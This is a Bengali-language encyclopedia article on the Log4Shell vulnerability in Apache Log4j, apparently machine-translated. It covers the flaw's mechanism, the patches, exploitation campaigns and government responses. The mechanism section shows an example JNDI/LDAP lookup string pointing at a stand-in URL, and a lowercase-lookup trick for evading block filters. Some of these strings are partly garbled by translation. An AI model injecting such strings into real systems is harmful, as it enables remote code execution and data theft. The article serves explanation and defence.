Log4Shell
লগ4শেল (সিভিই-2021-44228) হল একটি জনপ্রিয় জাভা লগিং কাঠামো লগ4জে-তে একটি শূন্য-দিনের দুর্বলতা, যা নির্বিচারে কোড কার্যকর করার সাথে জড়িত। 2013 সাল থেকে দুর্বলতাটি নজরে পড়েনি এবং 24 নভেম্বর 2021-এ আলিবাবা ক্লাউডের নিরাপত্তা দলের চেন ঝাওজুন ব্যক্তিগতভাবে অ্যাপাচি সফ্টওয়্যার ফাউন্ডেশনের কাছে প্রকাশ করেছিলেন, যার মধ্যে লগ4জে একটি প্রকল্প। 10 ডিসেম্বর 2021-এ একটি সরকারী সিভিই শনাক্তকারী উপলব্ধ করার আগে, লুনাসেক দলের ফ্রি ওয়ার্টলি দ্বারা প্রদত্ত "লগ4শেল" নামে দুর্বলতা ছড়িয়ে পড়ে, যা প্রাথমিকভাবে অনলাইনে সমস্যাটি ট্র্যাক করতে ব্যবহৃত হয়েছিল। অ্যাপাচি লগ4শেলকে 10 সিভিএসএস তীব্রতার রেটিং দিয়েছে, যা সর্বোচ্চ উপলব্ধ স্কোর। শোষণটি কার্যকর করা সহজ ছিল এবং অনুমান করা হয় যে এর লক্ষ লক্ষ যন্ত্রকে প্রভাবিত করার সম্ভাবনা ছিল। দুর্বলতাটি লগ4জে-এর সুবিধা নেয় যা নির্বিচারে এলডিএপি এবং জেএনডিআই সার্ভারগুলিতে অনুরোধের অনুমতি দেয়, যা আক্রমণকারীদের সার্ভার বা অন্যান্য কম্পিউটারে নির্বিচারে জাভা কোড চালানোর অনুমতি দেয়, বা সংবেদনশীল তথ্য ফাঁস করে। এর ক্ষতিগ্রস্ত সফ্টওয়্যার প্রকল্পগুলির একটি তালিকা অ্যাপাচি নিরাপত্তা দল প্রকাশ করেছে। প্রভাবিত বাণিজ্যিক পরিষেবাগুলির মধ্যে রয়েছে অ্যামাজন ওয়েব সার্ভিসেস, ক্লাউডফ্লেয়ার, আইক্লাউড, মাইনক্রাফ্টঃ জাভা সংস্করণ, স্টিম, টেনসেন্ট কিউকিউ এবং আরও অনেক কিছু। উইজ এবং ইওয়াই-এর মতে, দুর্বলতা 93 শতাংশ এন্টারপ্রাইজ ক্লাউড পরিবেশকে প্রভাবিত করেছে। দুর্বলতার প্রকাশ সাইবার নিরাপত্তা বিশেষজ্ঞদের কাছ থেকে তীব্র প্রতিক্রিয়া পেয়েছে। সাইবারসিকিউরিটি সংস্থা টেন্যাবল বলেছে যে শোষণটি ছিল "একক বৃহত্তম, সর্বকালের সবচেয়ে গুরুতর দুর্বলতা", আরস টেকনিকা এটিকে "যুক্তিযুক্তভাবে সর্বকালের সবচেয়ে গুরুতর দুর্বলতা" বলে অভিহিত করেছে এবং দ্য ওয়াশিংটন পোস্ট বলেছে যে নিরাপত্তা পেশাদারদের বর্ণনা "রহস্যোদ্ঘাটনের সীমানায়"। ব্যাকগ্রাউন্ড লগ4জে একটি ওপেন সোর্স লগিং ফ্রেমওয়ার্ক যা সফ্টওয়্যার ডেভেলপারদের তাদের অ্যাপ্লিকেশনের মধ্যে ডেটা লগ করার অনুমতি দেয়। এই তথ্য ব্যবহারকারীর ইনপুট অন্তর্ভুক্ত করতে পারে। এটি জাভা অ্যাপ্লিকেশনগুলিতে, বিশেষত এন্টারপ্রাইজ সফ্টওয়্যারে সর্বব্যাপী ব্যবহৃত হয়। মূলত 2001 সালে সেকি গুলকি দ্বারা লিখিত, এটি এখন অ্যাপাচি সফ্টওয়্যার ফাউন্ডেশনের একটি প্রকল্প অ্যাপাচি লগিং সার্ভিসেসের অংশ। প্রেসিডেন্ট ওবামার সাইবার নিরাপত্তা কমিশনের সদস্য টম কেলারম্যান অ্যাপাচিকে "অ্যাপ্লিকেশন জগত এবং কম্পিউটার পরিবেশের মধ্যে সংযোগকারী টিস্যুকে সহজতর করে এমন একটি সেতুর অন্যতম বিশাল সমর্থন" হিসাবে বর্ণনা করেছেন। আচরণ জাভা নামকরণ এবং ডিরেক্টরি ইন্টারফেস (জে. এন. ডি. আই) প্রোগ্রাম রানটাইমে জাভা অবজেক্টগুলিকে তাদের ডেটাতে একটি পথ দেওয়ার অনুমতি দেয়। জে. এন. ডি. আই বিভিন্ন ডিরেক্টরি ইন্টারফেস ব্যবহার করতে পারে, প্রতিটি ফাইল খোঁজার একটি ভিন্ন পরিকল্পনা প্রদান করে। এই ইন্টারফেসগুলির মধ্যে রয়েছে লাইটওয়েট ডিরেক্টরি অ্যাক্সেস প্রোটোকল (এলডিএপি), একটি অ-জাভা-নির্দিষ্ট প্রোটোকল যা স্থানীয় বা ইন্টারনেটের যে কোনও জায়গায় উপযুক্ত সার্ভার থেকে ইউআরএল হিসাবে অবজেক্ট ডেটা পুনরুদ্ধার করে। ডিফল্ট কনফিগারেশনে, একটি স্ট্রিং লগ করার সময়, লগ4জে 2 ${উপসর্গঃ নাম} ফর্মের এক্সপ্রেশনগুলিতে স্ট্রিং প্রতিস্থাপন করে। উদাহরণস্বরূপ, টেক্সটঃ ${জাভাঃ সংস্করণ} টেক্সটঃ জাভা সংস্করণ 1.7.0_67-এ রূপান্তরিত হতে পারে। স্বীকৃত অভিব্যক্তিগুলির মধ্যে রয়েছে ${জেএনডিআইঃ <লুকআপ>}; এলডিএপি-র মাধ্যমে অনুসন্ধান নির্দিষ্ট করে, একটি নির্বিচারে ইউআরএলকে জাভা অবজেক্ট ডেটা হিসাবে জিজ্ঞাসা এবং লোড করা যেতে পারে। উদাহরণস্বরূপ, ${jndi: ldap:// উদাহরণস্বরূপ. কম/ফাইল}, ইন্টারনেটের সাথে সংযুক্ত থাকলে সেই ইউআরএল থেকে তথ্য লোড করবে। লগ করা একটি স্ট্রিং ইনপুট করে, একজন আক্রমণকারী একটি সর্বজনীন ইউআরএল-এ হোস্ট করা দূষিত কোড লোড এবং কার্যকর করতে পারে। এমনকি যদি ডেটা কার্যকর করা অক্ষম থাকে, তবুও একজন আক্রমণকারী ডেটা পুনরুদ্ধার করতে পারে-যেমন গোপন পরিবেশের পরিবর্তনশীল-সেগুলিকে ইউআরএল-এ রেখে, সেক্ষেত্রে সেগুলি প্রতিস্থাপন করা হবে এবং আক্রমণকারীর সার্ভারে পাঠানো হবে। এলডিএপি ছাড়াও, অন্যান্য সম্ভাব্য কাজে লাগানো জেএনডিআই লুকআপ প্রোটোকলের মধ্যে রয়েছে এর সুরক্ষিত রূপ এলডিএপিএস, জাভা রিমোট মেথড ইনভোকেশন (আরএমআই), ডোমেন নেম সিস্টেম (ডিএনএস) এবং ইন্টারনেট ইন্টার-ওআরবি প্রোটোকল (আইআইওপি)। যেহেতু এইচটিটিপি অনুরোধগুলি ঘন ঘন লগ করা হয়, একটি সাধারণ আক্রমণ ভেক্টর এইচটিটিপি অনুরোধ ইউআরএল বা সাধারণত লগ করা এইচটিটিপি হেডারে দূষিত স্ট্রিং স্থাপন করছে, যেমন ব্যবহারকারী-এজেন্ট। প্রাথমিক প্রশমনের মধ্যে সম্ভাব্য দূষিত বিষয়বস্তু সম্বলিত যে কোনও অনুরোধ ব্লক করা অন্তর্ভুক্ত ছিল, যেমন ${jndi। এই ধরনের মৌলিক স্ট্রিং ম্যাচিং সমাধানগুলি অনুরোধটিকে বিভ্রান্ত করে এড়ানো যেতে পারেঃ উদাহরণস্বরূপ, ${${লোয়ারঃ জে} এনডিআই, জে অক্ষরে ছোট হাতের অপারেশন করার পরে একটি জেএনডিআই লুকআপে রূপান্তরিত হবে। এমনকি যদি কোনও ইনপুট, যেমন প্রথম নাম, অবিলম্বে লগ করা না হয়, তবে এটি পরে অভ্যন্তরীণ প্রক্রিয়াকরণের সময় লগ করা হতে পারে এবং এর বিষয়বস্তু কার্যকর করা যেতে পারে। দুর্বলতা প্রকাশের তিন দিন আগে 2021 সালের 6ই ডিসেম্বর এই দুর্বলতার প্রশমন সংশোধনগুলি লগ4জে সংস্করণ 2.15.0-rc1-এ প্রকাশ করা হয়েছিল। সমাধানের মধ্যে সার্ভার এবং প্রোটোকলগুলি সীমাবদ্ধ করা অন্তর্ভুক্ত ছিল যা অনুসন্ধানের জন্য ব্যবহার করা যেতে পারে। গবেষকরা একটি সম্পর্কিত বাগ, সিভিই-2021-45046 আবিষ্কার করেছেন, যা নির্দিষ্ট অ-ডিফল্ট কনফিগারেশনে স্থানীয় বা দূরবর্তী কোড কার্যকর করার অনুমতি দেয় এবং সংস্করণ 2.16.0 এ স্থির করা হয়েছিল, যা জেএনডিআই ব্যবহার করে সমস্ত বৈশিষ্ট্য এবং বার্তা সন্ধানের জন্য সমর্থন নিষ্ক্রিয় করে। গ্রন্থাগারে আরও দুটি দুর্বলতা পাওয়া গেছেঃ একটি পরিষেবা অস্বীকার আক্রমণ, যা সিভিই-2021-45105 হিসাবে ট্র্যাক করা হয়েছে এবং 2.17.0-এ স্থির করা হয়েছে; এবং একটি দূরবর্তী কোড কার্যকর করার দুর্বলতা, যা সিভিই-2021-44832 হিসাবে ট্র্যাক করা হয়েছে এবং 2.17.1-এ স্থির করা হয়েছে। পূর্ববর্তী সংস্করণগুলির জন্য, উভয় দুর্বলতা প্রশমিত করার জন্য org.apache.logging.log4j.core.lookup.JndiLookup শ্রেণীটিকে শ্রেণীপথ থেকে সরিয়ে ফেলা প্রয়োজন। পুরানো সংস্করণগুলির জন্য একটি প্রাথমিক প্রস্তাবিত সংশোধন ছিল সিস্টেমের বৈশিষ্ট্য log4j2.formatMsgNoLookups-কে সত্য হিসাবে সেট করা, তবে এই পরিবর্তনটি সিভিই-2021-45046-এর শোষণ রোধ করে না এবং পরে কিছু ক্ষেত্রে বার্তা সন্ধানগুলি অক্ষম করতে দেখা যায়। জাভা রানটাইম এনভায়রনমেন্টের (জেআরই) নতুন সংস্করণগুলিও রিমোট কোডকে ডিফল্টভাবে লোড হওয়া থেকে বিরত করে এই দুর্বলতা হ্রাস করে, যদিও নির্দিষ্ট কিছু অ্যাপ্লিকেশনগুলিতে অন্যান্য আক্রমণ ভেক্টর এখনও বিদ্যমান। বেশ কয়েকটি পদ্ধতি এবং সরঞ্জাম প্রকাশিত হয়েছে যা নির্মিত জাভা প্যাকেজগুলিতে ব্যবহৃত দুর্বল লগ4জে সংস্করণগুলি সনাক্ত করতে সহায়তা করে। যেখানে সম্পদের অভাব বা তৃতীয় পক্ষের পরিচালিত সমাধানের মতো বিভিন্ন সীমাবদ্ধতার কারণে আপডেটেড সংস্করণগুলি প্রয়োগ করা সম্ভব হয়নি, সেখানে দুর্বল স্থাপনার থেকে আউটবাউন্ড নেটওয়ার্ক ট্র্যাফিক ফিল্টার করা অনেকের জন্য প্রাথমিক উপায় হয়ে দাঁড়িয়েছে। এনসিসি গ্রুপ এবং ন্যাশনাল সাইবার সিকিউরিটি সেন্টার (যুক্তরাজ্য) দ্বারা এই পদ্ধতির সুপারিশ করা হয়েছে এবং এটি গভীর পরিমাপের প্রতিরক্ষার একটি উদাহরণ। গ্রন্থাগার এবং জে. আর. ই-এর বেশ কয়েকটি সম্পূর্ণ বা আংশিকভাবে দুর্বল সংস্করণের সাথে অগ্রগতির ট্র্যাফিককে বাধা দিতে সক্ষম ফায়ারওয়াল দিয়ে পরিচালিত পরীক্ষাগার পরীক্ষাগুলি দ্বারা এই ধরনের ফিল্টারিংয়ের কার্যকারিতা প্রমাণিত হয়। ব্যবহার শোষণ হ্যাকারদের জাভা ব্যবহার করে দুর্বল ডিভাইসগুলির নিয়ন্ত্রণ অর্জন করতে দেয়। কিছু হ্যাকার ক্রিপ্টোকারেন্সি মাইনিং, বটনেট তৈরি, স্প্যাম পাঠানো, ব্যাকডোর স্থাপন এবং র্যানসমওয়্যার আক্রমণের মতো অন্যান্য অবৈধ ক্রিয়াকলাপের জন্য ভুক্তভোগীদের ডিভাইসগুলি ব্যবহার করার জন্য দুর্বলতা নিয়োগ করে। দুর্বলতা প্রকাশের পরের দিনগুলিতে, চেক পয়েন্ট লক্ষ্য করেছে যে হ্যাকারদের দ্বারা লক্ষ লক্ষ আক্রমণ শুরু করা হয়েছে, কিছু গবেষক প্রতি মিনিটে শতাধিক আক্রমণের হার পর্যবেক্ষণ করেছেন যার ফলস্বরূপ আন্তর্জাতিকভাবে 40 শতাংশেরও বেশি ব্যবসায়িক নেটওয়ার্কে আক্রমণের চেষ্টা করা হয়েছে। ক্লাউডফ্লেয়ারের সিইও ম্যাথিউ প্রিন্সের মতে, শোষণের ব্যবহার বা পরীক্ষার প্রমাণ প্রকাশ্যে প্রকাশের নয় দিন আগে 1 ডিসেম্বর থেকে পাওয়া যায়। সাইবারসিকিউরিটি ফার্ম গ্রেনোইসের মতে, বেশ কয়েকটি আইপি ঠিকানা দুর্বলতা রয়েছে এমন সার্ভারগুলি পরীক্ষা করার জন্য ওয়েবসাইটগুলি স্ক্র্যাপ করছিল। 10ই ডিসেম্বরের মধ্যে মুহস্টিক বটনেট, পাশাপাশি মিরাই এবং সুনামি সহ বেশ কয়েকটি বটনেট দুর্বলতার জন্য স্ক্যানিং শুরু করে। 17ই ডিসেম্বর র্যানসমওয়্যার গ্রুপ কনটিকে দুর্বলতা ব্যবহার করে পর্যবেক্ষণ করা হয়েছিল। চীন ও ইরানের কিছু রাষ্ট্র-পৃষ্ঠপোষক গোষ্ঠীও চেক পয়েন্ট অনুসারে শোষণটি ব্যবহার করেছিল, তবে দুর্বলতা প্রকাশের আগে ইসরায়েল, রাশিয়া বা মার্কিন যুক্তরাষ্ট্র এই শোষণটি ব্যবহার করেছিল কিনা তা জানা যায়নি। চেক পয়েন্ট বলেছে যে 2021 সালের 15ই ডিসেম্বর ইরান সমর্থিত হ্যাকাররা ইসরায়েলি ব্যবসা এবং সরকারী প্রতিষ্ঠানের নেটওয়ার্কে অনুপ্রবেশের চেষ্টা করেছিল। প্রতিক্রিয়া এবং প্রভাব সরকারি মার্কিন যুক্তরাষ্ট্রে, সাইবারসিকিউরিটি অ্যান্ড ইনফ্রাস্ট্রাকচার সিকিউরিটি এজেন্সি (সি. আই. এস. এ)-এর পরিচালক, জেন ইস্টারলি এই শোষণকে "আমার পুরো কর্মজীবনে দেখা সবচেয়ে গুরুতর, যদি না সবচেয়ে গুরুতর" হিসাবে বর্ণনা করেছেন, ব্যাখ্যা করেছেন যে লক্ষ লক্ষ ডিভাইস প্রভাবিত হয়েছিল এবং বিক্রেতাদের সফ্টওয়্যার আপডেটগুলিকে অগ্রাধিকার দেওয়ার পরামর্শ দিয়েছে। মার্কিন যুক্তরাষ্ট্র সরকার কর্তৃক চুক্তিবদ্ধ বেসামরিক সংস্থাগুলির দুর্বলতা সংশোধন করার জন্য 24 ডিসেম্বর 2021 পর্যন্ত সময় ছিল। 4 জানুয়ারী, ফেডারেল ট্রেড কমিশন (এফটিসি) ব্যবহৃত লগ4জে সফ্টওয়্যার আপডেট করার জন্য যুক্তিসঙ্গত পদক্ষেপ নিতে ব্যর্থ সংস্থাগুলিকে অনুসরণ করার অভিপ্রায় জানিয়েছে। হোয়াইট হাউসের একটি বৈঠকে, ওপেন-সোর্স সফ্টওয়্যারের নিরাপত্তা রক্ষণাবেক্ষণের গুরুত্ব-যা প্রায়শই খুব কম স্বেচ্ছাসেবক দ্বারা পরিচালিত হয়-জাতীয় সুরক্ষার জন্য স্পষ্ট করা হয়েছিল। যদিও কিছু মুক্ত-উৎস প্রকল্পের উপর অনেক চোখ রয়েছে, অন্যদের নিরাপত্তা নিশ্চিত করার জন্য অনেক বা কোনও লোক নেই। জার্মানির বুন্দেসাম্ট ফুর সিচেরহাইট ইন ডার ইনফরমেশনস্টেকনিক (বি. এস. আই) এই শোষণকে এজেন্সির সর্বোচ্চ হুমকির স্তর হিসাবে চিহ্নিত করেছে, এটিকে একটি "অত্যন্ত গুরুতর হুমকির পরিস্থিতি" (অনুবাদ) বলে অভিহিত করেছে। এটি আরও জানিয়েছে যে বেশ কয়েকটি আক্রমণ ইতিমধ্যে সফল হয়েছে এবং শোষণের পরিমাণ মূল্যায়ন করা কঠিন ছিল। নেদারল্যান্ডসের জাতীয় সাইবার নিরাপত্তা কেন্দ্র (এন. সি. এস. সি) দুর্বল অ্যাপ্লিকেশনগুলির একটি চলমান তালিকা শুরু করেছে। কানাডিয়ান সেন্টার ফর সাইবার সিকিউরিটি (সিসিসিএস) সংস্থাগুলিকে অবিলম্বে ব্যবস্থা নেওয়ার আহ্বান জানিয়েছে। কানাডা রাজস্ব সংস্থা এই শোষণের কথা জানার পর সাময়িকভাবে তার অনলাইন পরিষেবা বন্ধ করে দেয়, অন্যদিকে কুইবেক সরকার "প্রতিরোধমূলক ব্যবস্থা" হিসাবে তার প্রায় 4,000 ওয়েবসাইট বন্ধ করে দেয়। বেলজিয়ামের প্রতিরক্ষা মন্ত্রক একটি লঙ্ঘনের প্রচেষ্টার সম্মুখীন হয় এবং তার নেটওয়ার্কের কিছু অংশ বন্ধ করতে বাধ্য হয়। চীনের শিল্প ও তথ্য প্রযুক্তি মন্ত্রক প্রথমে সরকারের কাছে দুর্বলতার বিষয়ে রিপোর্ট করতে ব্যর্থ হওয়ার জন্য সাইবারসিকিউরিটি হুমকির গোয়েন্দা অংশীদার হিসাবে আলিবাবা ক্লাউডের সাথে কাজ ছয় মাসের জন্য স্থগিত করেছে। উইজ এবং ইওয়াই দ্বারা পরিচালিত ব্যবসায়িক গবেষণায় দেখা গেছে যে ক্লাউড এন্টারপ্রাইজ পরিবেশের 93 শতাংশ লগ4শেল-এর জন্য ঝুঁকিপূর্ণ ছিল। দুর্বল কাজের চাপের 7 শতাংশ ইন্টারনেটের সংস্পর্শে আসে এবং ব্যাপক শোষণের প্রচেষ্টার ঝুঁকিতে থাকে। গবেষণা অনুসারে, দুর্বলতা প্রকাশের দশ দিন পরে (20 ডিসেম্বর 2021) দুর্বল কাজের চাপের মাত্র 45 শতাংশ মেঘ পরিবেশে গড়ে প্যাচ করা হয়েছিল। অ্যামাজন, গুগল এবং মাইক্রোসফ্ট ক্লাউড ডেটা লগ4শেল দ্বারা প্রভাবিত হয়েছিল। মাইক্রোসফ্ট উইন্ডোজ এবং অ্যাজুরে গ্রাহকদের 2021 সালের ডিসেম্বর পর্যন্ত লগ4জে 'লগ4শেল' ত্রুটির জন্য রাষ্ট্র-স্পন্সর এবং সাইবার-অপরাধী আক্রমণকারীদের তদন্ত করার পরে সতর্ক থাকতে বলেছে। মানবসম্পদ ব্যবস্থাপনা এবং কর্মশক্তি ব্যবস্থাপনা সংস্থা ইউকেজি, এই শিল্পের অন্যতম বৃহত্তম ব্যবসা, একটি র্যানসমওয়্যার আক্রমণের লক্ষ্যবস্তু হয়েছিল যা বড় ব্যবসাগুলিকে প্রভাবিত করেছিল। ইউকেজি বলেছে যে এই ঘটনায় লগ4শেলকে কাজে লাগানোর প্রমাণ তাদের কাছে নেই, যদিও সাইবারসিকিউরিটি সংস্থা রেকর্ডড ফিউচারের বিশ্লেষক অ্যালান লিসকা বলেছেন যে সম্ভবত একটি সংযোগ ছিল। বড় সংস্থাগুলি শোষণের জন্য প্যাচগুলি প্রকাশ করতে শুরু করার সাথে সাথে হ্যাকাররা আরও দুর্বল লক্ষ্যগুলিতে মনোনিবেশ করায় ছোট ব্যবসার ঝুঁকি বৃদ্ধি পায়। গোপনীয়তা ইন্টারনেটের সাথে সংযুক্ত কিছু ব্যক্তিগত ডিভাইস, যেমন স্মার্ট টিভি এবং নিরাপত্তা ক্যামেরা, শোষণের ঝুঁকিতে ছিল। বন্ধ হয়ে যাওয়া প্রস্তুতকারকের সমর্থনের কারণে কিছু সফ্টওয়্যার কখনও প্যাচ নাও পেতে পারে। বিশ্লেষণ বিশ্বব্যাপী সমস্ত কর্পোরেট নেটওয়ার্কের প্রায় অর্ধেক সক্রিয়ভাবে তদন্ত করা হয়েছে, 24 ঘন্টার মধ্যে শোষণের 60 টিরও বেশি রূপ তৈরি করা হয়েছে। চেক পয়েন্ট সফ্টওয়্যার টেকনোলজিস একটি বিশদ বিশ্লেষণে পরিস্থিতিটিকে "একটি সত্যিকারের সাইবার-মহামারী" হিসাবে বর্ণনা করেছে এবং ক্ষতির সম্ভাবনাকে "অগণিত" হিসাবে চিহ্নিত করেছে। বেশ কয়েকটি প্রাথমিক পরামর্শ প্যাকেজগুলির পরিমাণকে অতিরঞ্জিত করেছিল যা দুর্বল ছিল, যা মিথ্যা ইতিবাচক দিকে পরিচালিত করে। সবচেয়ে উল্লেখযোগ্যভাবে, "লগ4জে-এপি" প্যাকেজটিকে দুর্বল হিসাবে চিহ্নিত করা হয়েছিল, যদিও বাস্তবে আরও গবেষণায় দেখা গেছে যে শুধুমাত্র প্রধান "লগ4জে-কোর" প্যাকেজটি দুর্বল ছিল। মূল ইস্যু থ্রেডে এবং বাহ্যিক নিরাপত্তা গবেষকরা উভয় ক্ষেত্রেই এটি নিশ্চিত করেছেন। টেকনোলজি ম্যাগাজিন ওয়্যার্ড লিখেছে যে একাধিক দুর্বলতাকে ঘিরে পূর্ববর্তী "হাইপ" সত্ত্বেও, "লগ4জে দুর্বলতা. বেশ কয়েকটি কারণে হাইপ অবধি বেঁচে থাকে"। ম্যাগাজিনটি ব্যাখ্যা করেছে যে লগ4জে-এর ব্যাপকতা, সম্ভাব্য লক্ষ্যগুলির দ্বারা দুর্বলতা সনাক্ত করা কঠিন এবং ক্ষতিগ্রস্থদের কাছে কোড প্রেরণের সহজতা একটি "তীব্রতা, সরলতা এবং বিস্তৃতির সংমিশ্রণ তৈরি করেছে যা নিরাপত্তা সম্প্রদায়কে বিচলিত করেছে।" ওয়্যার্ড লগ4শেল ব্যবহার করে হ্যাকারদের পর্যায়গুলিও তুলে ধরেছে; প্রথমে দুর্বলতা ব্যবহার করে ক্রিপ্টোমাইনিং গ্রুপগুলি, ডেটা দালালরা তারপর সাইবার অপরাধীদের কাছে একটি "পা" বিক্রি করে, যারা অবশেষে র্যানসমওয়্যার আক্রমণ, গুপ্তচরবৃত্তি এবং ডেটা ধ্বংস করতে জড়িত হয়। টেন্যাবলের সিইও এবং মার্কিন যুক্তরাষ্ট্রের কম্পিউটার ইমার্জেন্সি রেডিনেস টিমের প্রতিষ্ঠাতা পরিচালক অমিত ইওরান বলেছেন, "[লগ4শেল] এখন পর্যন্ত একক বৃহত্তম, সবচেয়ে গুরুতর দুর্বলতা", উল্লেখ করে যে জটিল আক্রমণগুলি বাগের পরেই শুরু হয়েছিল, তিনি বলেন, "আমরা ইতিমধ্যে এটিকে র্যানসমওয়্যার আক্রমণের জন্য ব্যবহার করতে দেখছি, যা আবার একটি বড় সতর্কবার্তা হওয়া উচিত। আমরা আক্রমণকারীদের লগ4শেল ব্যবহার করে মুক্তিপণ সংগ্রহের চেষ্টা না করেও সিস্টেম ধ্বংস করার খবরও দেখেছি, যা মোটামুটি অস্বাভাবিক আচরণ।" সোফোসের সিনিয়র থ্রেট রিসার্চার শন গ্যালাগার বলেন, "সত্যি বলতে, এখানে সবচেয়ে বড় হুমকি হল যে লোকেরা ইতিমধ্যেই প্রবেশাধিকার পেয়েছে এবং কেবল এটির উপর বসে আছে, এবং এমনকি যদি আপনি সমস্যাটি সমাধান করেন তবে কেউ ইতিমধ্যে নেটওয়ার্কে রয়েছে। এটি ইন্টারনেট যতদিন থাকবে ততদিন থাকবে। " ব্লুমবার্গ নিউজের একটি প্রতিবেদন অনুসারে, 2016 সালের সাইবারসিকিউরিটি কনফারেন্সে লগ4জে সহ বিস্তৃত শ্রেণীর সফ্টওয়্যারের শোষণ সম্পর্কে সতর্কবার্তা দেওয়ার পরে দুর্বলতা ঠিক করতে ব্যর্থতার জন্য অ্যাপাচের ডেভেলপারদের প্রতি কিছুটা ক্ষোভ দেখানো হয়েছিল। রেফারেন্স এক্সটার্নাল লিঙ্ক লগ4জে ওয়েবসাইট কমন ভালনারেবিলিটিজ অ্যান্ড এক্সপোজার পেজ ন্যাশনাল ভালনারেবিলিটিজ ডেটাবেস পেজ প্রজেক্টস অ্যাপাচি সিকিউরিটি টিম দ্বারা সিভি-2021-44228 দ্বারা প্রভাবিত, ইনজেকশন এক্সপ্লোইট কম্পিউটিংয়ে 2021